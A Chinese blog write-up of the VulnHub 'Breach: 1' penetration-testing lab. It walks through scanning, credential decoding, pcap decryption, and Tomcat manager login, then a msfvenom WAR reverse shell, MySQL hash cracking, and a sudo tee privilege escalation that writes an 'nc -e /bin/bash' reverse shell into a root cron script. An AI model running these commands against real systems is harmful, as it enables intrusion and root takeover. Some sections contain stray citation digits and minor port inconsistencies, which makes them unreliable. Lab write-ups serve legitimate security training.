Breach: 1靶场渗透测试

Breach: 1

来自 <Breach: 1 ~ VulnHub>

描述:

1,首先给kali-linux添加一块网卡,将这块网卡配置为仅主机模式。

然后配置/etc/network/interfaces,添加内容

然后重启网络

systemctl status networking.service

这个时候kali就拥有了两个IP

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.110.0/24

那么攻击机IP为192.168.110.128,靶场IP192.168.110.140

3,对靶机进行端口服务探测

nmap 192.168.110.140

几乎开放了所有端口

4,访问80端口的http服务

查看页面源代码

将源码中的内容使用burpsuite decoder模块进行二次base64解码

得到pgibbons:damnitfeel$goodtobeagang$ta

5,点击图片会发生页面跳转 http://192.168.110.140/initech.html

然后访问发现存在一个CMS系统

http://192.168.110.140/impresscms/user.php

ImpressCMS 是一款基于 MySQL 数据库的模块化开源内容管理系统(CMS),最初于 2007 年从 XOOPS 项目分叉而来,专注于灵活性和扩展性。其核心设计理念是通过独立模块管理网站内容,允许用户按需安装功能模块(如新闻发布、论坛、相册等),从而构建个性化的网站平台。以下是其核心特性与应用场景的详细介绍:

一、核心特性

  1. 模块化架构
    ImpressCMS 的核心优势在于其高度模块化的设计。用户可以通过安装预置或第三方模块(如新闻发布、论坛、投票系统等)扩展网站功能,且每个模块独立运行,互不干扰14。这种设计使得系统维护和更新更为灵活。
  2. 数据库驱动与 MySQL 集成
    系统依赖 MySQL 数据库存储数据,支持高效的数据管理和检索。用户需在配置阶段设置数据库连接参数(如服务器地址、用户名等),并可通过缓存机制和 SSL 加密优化性能与安全性24
  3. 用户与权限管理
    提供精细化的用户组权限控制,支持本地注册或 LDAP 认证,允许管理员按组限制内容访问、设置操作权限,并支持用户个性化设置(如主题切换、头像上传)14
  4. 多语言与模板自定义
    内置多语言支持(包括中文、日语等),并允许通过模板自定义网站主题布局,满足国际化需求与品牌化设计19
  5. 安全性与漏洞修复
    尽管存在历史安全漏洞(如 CVE-2021-28088 注入漏洞),但社区持续修复问题。例如,1.3.10 版本修复了核心和外部库的安全漏洞,并增强了对 PHP 5.3 的兼容性81013

6,使用信息收集得来的密码尝试登录,登录成功 pgibbons:damnitfeel$goodtobeagang$ta

信息收集,阅读一下三个邮件

第三条提示访问一个URL

http://192.168.110.140/.keystore

点击成功下载这个文件keystore文件

Keystore 文件是一种用于安全存储加密密钥和数字证书的容器文件,常见于软件开发、数据加密和身份认证场景。它在不同平台和用途中略有差异,但核心功能是保护敏感密钥信息。

1. Keystore 的核心作用

  • 密钥管理:存储私钥(Private Key)和对应的数字证书(Certificate),确保其不被泄露。
  • 身份认证:通过证书验证开发者或系统的身份(如 Android 应用签名)。
  • 数据加密:用于 TLS/SSL 通信、文件加密等场景。

2. Keystore 的常见类型

类型

格式/扩展名

典型用途

特点

JKS

.jks

Java 应用(传统格式)

由 Java keytool 生成,需密码保护

PKCS12

.p12 或 .pfx

跨平台(现代推荐格式)

支持更安全的加密算法,兼容性更好

BKS

.bks

Android 旧版本客户端证书存储

使用 Bouncy Castle 加密库

Android KeyStore

系统级存储

Android 应用密钥管理

密钥由硬件安全模块(HSM)保护

3. 典型应用场景

① Android 应用签名

  • 用途:发布 APK 时,需用 Keystore 中的私钥对应用签名,确保:
    • 身份唯一性:防止他人冒充开发者。
    • 更新连续性:同一 Keystore 签名的应用才能覆盖安装。
  • 风险:若丢失 Keystore,无法更新应用,需重新发布(用户需卸载旧版本)。

② HTTPS 服务器配置

  • 用途:存储 SSL/TLS 证书(如 .p12 文件),用于 Web 服务器(Nginx、Tomcat)配置 HTTPS。
  • 示例
    # 将 PKCS12 文件配置到 Nginx
    ssl_certificate      /path/to/cert.p12;
    ssl_certificate_key /path/to/cert.key;

③ Java 应用加密通信

  • 用途:在 Java 程序中加载 Keystore,实现双向 TLS 认证或数据加密。
  • 代码示例
    KeyStore ks = KeyStore.getInstance("PKCS12");
    ks.load(new FileInputStream("keystore.p12"), "password".toCharArray());

4. Keystore 的生成与管理

生成方式

  • 命令行(keytool)
    # 生成 JKS 格式 Keystore
    keytool -genkeypair -alias mykey -keyalg RSA -keystore mykeystore.jks -validity 365
    # 生成 PKCS12 格式 Keystore
    keytool -importkeystore -srckeystore mykeystore.jks -destkeystore mykeystore.p12 -deststoretype PKCS12
  • Android Studio
    通过 Build > Generate Signed Bundle/APK 向导生成或使用现有 Keystore。

关键参数

参数

说明

-alias

密钥别名(用于区分多个密钥)

-keyalg

密钥算法(如 RSA、ECC)

-validity

证书有效期(天数)

-storepass

Keystore 密码

-keypass

私钥密码(可与 storepass 不同)

5. 安全注意事项

  • 密码强度:使用强密码(12位以上,含大小写、数字、符号)。
  • 备份策略:将 Keystore 文件加密后存储在多个安全位置(如离线硬盘、云存储)。
  • 权限控制:限制文件访问权限(如 Linux 下 chmod 600 mykeystore.jks)。
  • 避免硬编码:切勿将 Keystore 密码写在代码或配置文件中!

7,keystore可以认为是存放秘钥的一个包,需要提供正确的密码才能将包里的秘钥取出来。 SSL证书也可以被存放在keystore中,需要找到密码才能得到SSL证书。SSL加密HTTP协议(HTTPS),进行身份认证和数据加解密,没有正确的SSL证书就无法破解http数据包的内容。 home家 里面发现内容SSL可点击

然后再点击访问这个URL http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

密钥和密码都为 tomcat

8,利用java环境导出keystore证书,密码tomcat

keytool -list -keystore keystore

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

命令功能

此命令用于 将源 Keystore(keystore)中指定别名(tomcat)的密钥条目导入到目标 PKCS12 格式的 Keystore(tomcatkeystore.p12),核心操作是 密钥迁移与格式转换

参数解析

参数

作用

隐含规则

-importkeystore

触发密钥库导入操作,允许跨格式迁移密钥。

默认从源库复制全部条目,但通过 -srcalias 可限定仅复制特定条目。

-srckeystore keystore

指定源 Keystore 文件路径(默认当前目录)。

若未声明 -srcstoretype,keytool 根据文件扩展名或默认类型(如 JKS)推断源库格式。

-destkeystore tomcatkeystore.p12

定义目标 Keystore 文件名(.p12 扩展名通常关联 PKCS12 格式)。

若目标文件已存在,需确认覆盖;若不存在,自动创建。

-deststoretype pkcs12

强制目标 Keystore 使用 PKCS12 格式(现代标准,取代传统 JKS)。

PKCS12 支持更安全的加密算法(如 AES),且跨平台兼容性更佳。

-srcalias tomcat

仅导入源库中别名为 tomcat 的密钥条目(私钥+证书链)。

若省略此参数,默认导入源库中所有条目。

执行流程与交互

  1. 输入源 Keystore 密码
    命令执行后,会提示输入源库(keystore)的密码(-srcstorepass 未显式指定时需手动输入)。
  2. 输入目标 Keystore 密码
    若目标库(tomcatkeystore.p12)为新文件,需设置并确认新密码;若已存在,需输入其原有密码。
  3. 私钥密码处理
    • 若源库中 tomcat 条目的私钥密码与源库密码相同,可能直接继承。
    • 若不同,需额外输入私钥密码(或通过 -srckeypass 指定)。

全部输入tomcat即可

9,Wireshark分析_SSL_test_phase1.pcap

点击编辑-->首选项-->

Protocols-->SSL/TLS(如果没有SSL(旧版)就选TLS(新版本))-->Edit(添加192.168.110.140 8843 http 密钥 tomcat) 

配置之后成功解密被加密的流量

在这些流量中找到明文密码,tomcat:Tt\5D8F(#!*u=G)4m7zB

10,使用burp suite代理绕过拦截网站,首先访问 

https://192.168.110.140:8443/_M@nag3Me/html

发现打不开,可能是被浏览器的安全机制拦截证书了,那么就使用butpsuite进行代理访问

用户名密码tomcat:Tt\5D8F(#!*u=G)4m7zB,在burpsuite数次放包之后,成功登录到网站

服务类型:Apache Tomcat 服务器的管理后台(默认路径通常为 /manager/html)。

核心功能

  • 应用管理:部署(Deploy)、启动/停止(Start/Stop)、卸载(Undeploy)Web 应用(如 WAR 文件)。
  • 会话监控:查看活跃会话数(Sessions)及空闲会话过期设置。
  • 服务器状态:检查运行中的应用状态(如 /_M@naq3Me 和 /host-manager 当前正在运行)

一、Burp Suite 代理的核心原理

Burp Suite 作为中间人(Man-in-the-Middle)代理,拦截并修改客户端(浏览器)与服务器之间的流量,具体功能包括:

  1. 流量拦截:捕获 HTTP/HTTPS 请求和响应,支持实时修改(如参数篡改、头信息注入)25
  2. 证书处理:自动生成 CA 证书,解密 HTTPS 流量(需浏览器信任 Burp 的 CA)7
  3. 会话管理:维持会话状态,绕过登录认证或防御机制(如 CSRF Token 校验)4

二、Breach 1.0 中 Burp Suite 的技术操作

1. 绕过 HTTPS 证书拦截

  • 场景:在靶场中访问 https://192.168.110.140:8443/_M@nag3Me/html 时,浏览器会因自签名证书或证书不匹配而拦截访问。
  • 操作步骤
    1. 配置浏览器代理:将浏览器代理设置为 Burp Suite(默认 127.0.0.1:8080)25
    2. 导入 Burp CA 证书:通过 http://burp 下载并安装 CA 证书,解决 HTTPS 证书信任问题。
    3. 拦截并放行请求:在 Burp 的 Proxy → Intercept 中捕获请求后点击 Forward,绕过浏览器安全警告47

2. 解密并利用 HTTP Basic 认证

  • 场景:通过 Wireshark 解密流量后,发现 Tomcat 后台使用 HTTP Basic 认证(Base64 编码的凭据)。
  • 操作步骤
    1. 捕获认证请求:在 Burp 中拦截登录请求,提取 Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC。
    2. 解码凭据:使用 Burp 的 Decoder 模块解码 Base64,得到明文 tomcat:Tt\5D8F(#!*u=G)4m7zB75
    3. 重放请求:将凭据填入浏览器或直接通过 Burp 的 Repeater 模块发送请求,登录 Tomcat 管理后台4

3. 上传 WAR 木马并绕过防御

  • 场景:Tomcat 后台允许上传 WAR 文件,但靶机存在定时任务(tidyup.sh)删除恶意文件。
  • 操作步骤
    1. 生成反弹 Shell:使用 msfvenom 生成 WAR 格式的反弹 Shell:
      msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=5555 -f war -o shell.war
    2. 拦截上传请求:在 Burp 中捕获文件上传请求,确保 WAR 文件格式正确(避免因压缩格式错误导致部署失败)7
    3. 快速部署与触发:上传后立即访问 Shell 路径(如 /shell/shell.jsp),同时启动 msfconsole 监听,避免文件被删除45

三、关键技巧与注意事项

  1. 代理链配置
    • 若靶场存在网络隔离(如仅主机模式),需确保攻击机与靶机在同一网段,并配置 Burp 代理为透明模式2
  2. 流量过滤
    • 在 Proxy → Options 中设置作用域(Scope),仅拦截目标域名或 IP,减少干扰6
  3. 防御绕过
    • 修改 User-Agent 或添加伪造头信息(如 X-Forwarded-For),规避 WAF 或 IPS 检测47

四、总结

在 Breach 1.0 中,Burp Suite 的核心作用是通过代理机制突破加密通信限制、提取敏感信息(如认证凭据),并辅助漏洞利用(如文件上传)。其技术难点在于 HTTPS 证书信任 和 快速操作以绕过防御机制。实际渗透中需结合 Wireshark 解密流量、Metasploit 生成载荷,形成完整的攻击链257

11,存在上传文件的位置,使用msf进行反弹shell()

针对网站生成对应的反弹shell脚本

然后msfconsole打开对4444端口的监听

use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set lhost 192.168.110.128

set lport 4444

run

依然使用burpsuite做代理,然后上传文件放包直到成功

依然是选择/tomcat将内容分享burpsuite代理,然后迅速放包。成功getshell

12,然后使用python启动一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

接着信息收集一下

然后寻找网页根目录内容

cd /var/www/5446

cat 0d93f85c5061c44cdffeb8381b2772fd.php

得到数据库配置文件中的密码为空

13,登录一下mysql,信息收集一下

show databases;

use mysql;

show tables;

select user,password from user;

exit

得到了两个用户名密码

milton/6450d89bd3aff1d893b85d3ad65d2ec2         

debian-sys-maint/*A9523939F1B2F3E72A4306C34F225ACF09590878

破解得到用户milton的明文密码thelaststraw

14,su横向移动到用户milton

然后信息收集一下

http://192.168.110.140/images/bill.png

http://192.168.110.140/images/initech.jpg

http://192.168.110.140/images/troll.gif

http://192.168.110.140/images/cake.jpg

http://192.168.110.140/images/swingline.jpg

http://192.168.110.140/images/milton_beach.jpg

将图片下载到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt

查看发现密码在bill.png图片中。因为还有一个用户不知道密码,应该就是他的

然后再横向移动到blumbergh用户,密码:coffeestains

信息收集一下。查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件

cat .bash_history

查看并且分析一下脚本

1. cd /var/lib/tomcat6/webapps

  • 作用:切换工作目录到 /var/lib/tomcat6/webapps(Tomcat 默认的 Web 应用部署目录)。
  • 风险:如果目录不存在或权限不足,命令将终止(因 && 逻辑符要求前序命令成功执行)。

2. find swingline -mindepth 1 -maxdepth 10

  • 作用:在 swingline 目录中搜索满足以下条件的文件/目录:
    • -mindepth 1:忽略 swingline 自身,只处理其子内容。
    • -maxdepth 10:限制搜索深度为 10 层子目录(防止无限递归)。
  • 输出:列出 swingline 下所有子文件和目录的路径。

3. xargs rm -rf

  • 作用:将 find 的输出作为参数传递给 rm -rf,强制删除所有匹配项。
  • 风险:rm -rf 无确认提示,直接删除数据且不可恢复。

二、执行效果

  1. 保留 swingline 目录
    由于 -mindepth 1,swingline 目录本身不会被删除,但内部所有文件和子目录会被清空。
  2. 删除范围
    清除 swingline 下最多 10 层深度的所有内容(适用于绝大多数 Web 应用结构)。
  3. Tomcat 影响
    如果 swingline 是已部署的 Web 应用,删除其内容后,Tomcat 将无法运行该应用(需重新部署)。

15,对于定时任务,是可以写脚本进行恶意权限提升的,但是这个文件属于root,无法写入

sudo -l看一下

分析允许这个用户一root权限使用tee和执行tidyup.sh。那么就可以反弹root权限shell,获取flag

14,向tidyup.sh中写入反弹shell命令。虽然tidyup.sh文件只有root可写,但是目前的用户而能够sudo以root权限运行tee命令,那么就可以用tee命令写tidyup.sh。首先在攻击机上写恶意脚本,然后开启http服务

echo "nc -e /bin/bash 192.168.110.128 1234" > shell.txt

python -m http.server

然后靶机下载恶意文件

 wget http://192.168.110.128:8000/shell.txt

再使用tee命令将shell.txt内容输出到tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看tidyup.sh文件写入成功:

cat /usr/share/cleanup/tidyup.sh

然后kali linux必须先另启终端对234端口进行nc监听,最后成功获得root权限,get到flag

nc -lvvp 1234

渗透测试知识总结

一、信息收集与初始访问

  1. 端口扫描与服务识别
    • 使用 Nmap 对目标 IP 进行端口扫描(如 nmap -v -A),发现开放端口(如 80、8443),但靶机可能通过混淆手段显示虚假开放端口167
    • 直接访问 HTTP 服务(80 端口),通过查看网页源码获取隐藏的 Base64 编码字符串,多次解码后得到用户凭据(如 pgibbons:damnitfeel...),用于登录 CMS 系统127
  2. CMS 漏洞利用
    • 登录 ImpressCMS 后,通过收件箱邮件获取关键信息(如 SSL 证书 .keystore 文件路径 192.168.110.140/.keystore)17
    • 利用 Exploit-DB 查找 CMS 漏洞(如 SQL 注入),但因权限限制需转向其他攻击路径16

二、加密流量分析与证书管理

  1. SSL/TLS 解密与密钥处理
    • 使用 keytool 工具(Java 环境)管理密钥库:
      • 查看证书信息:keytool -list -keystore keystore(密码为 tomcat)。
      • 转换格式:将 JKS 转换为 PKCS12(keytool -importkeystore),以便在 Wireshark 中解密 HTTPS 流量17
    • Wireshark 配置:导入 PKCS12 证书并设置 SSL 解密规则,解析捕获的流量包(如 _SSL_test_phase1.pcap),发现 Tomcat 后台的 HTTP Basic 认证凭据17
  2. HTTP Basic 认证绕过
    • 从流量包中提取 Base64 编码的认证头(如 Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC),解码后得到 Tomcat 管理界面的用户名和密码(tomcat:Tt\5D8F...)17

三、Web 应用漏洞利用与 Shell 获取

  1. Tomcat 后台利用
    • 登录 Tomcat 管理界面(https://192.168.110.140:8443/_M@nag3Me/html),通过 WAR 文件上传 部署恶意 JSP 木马:
      • 使用 msfvenom 生成反弹 Shell 的 WAR 文件(如 java/meterpreter/reverse_tcp)。
      • 注意文件格式:需压缩为 ZIP 后重命名为 .war,避免部署失败17
    • 上传后访问木马路径(如 /shell/shell.jsp),但需快速触发 Shell 以避免文件被定时任务删除12
  2. 防御绕过与持久化
    • 发现靶机存在定时清理脚本 tidyup.sh,需通过 反弹 Shell(如 bash -i >& /dev/tcp/攻击机IP/端口 0>&1)维持访问17
    • 使用 Netcat 监听端口接收反弹的 Shell,并通过 python -c 'import pty;pty.spawn("/bin/bash")' 升级为交互式终端12

四、权限提升与提权技巧

  1. 数据库与用户密码破解
    • 在 Web 目录(如 /var/www/5446)发现数据库配置文件,连接 MySQL 获取用户哈希(如 milton 的 SHA1 哈希),通过在线工具(如 Somd5)破解为明文密码(如 thelaststraw)17
    • 切换用户后,通过分析图片元数据(如 strings 命令)发现 blumbergh 用户的密码(coffeestains)27
  2. SUID 与 Sudo 提权
    • 利用 sudo -l 检查可执行命令,发现 tee 命令能以 root 权限写入文件。
    • 通过注入恶意命令到 tidyup.sh(如 echo "nc -e /bin/bash 攻击机IP 端口" | sudo tee),触发反弹 Shell 获取 root 权限127

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值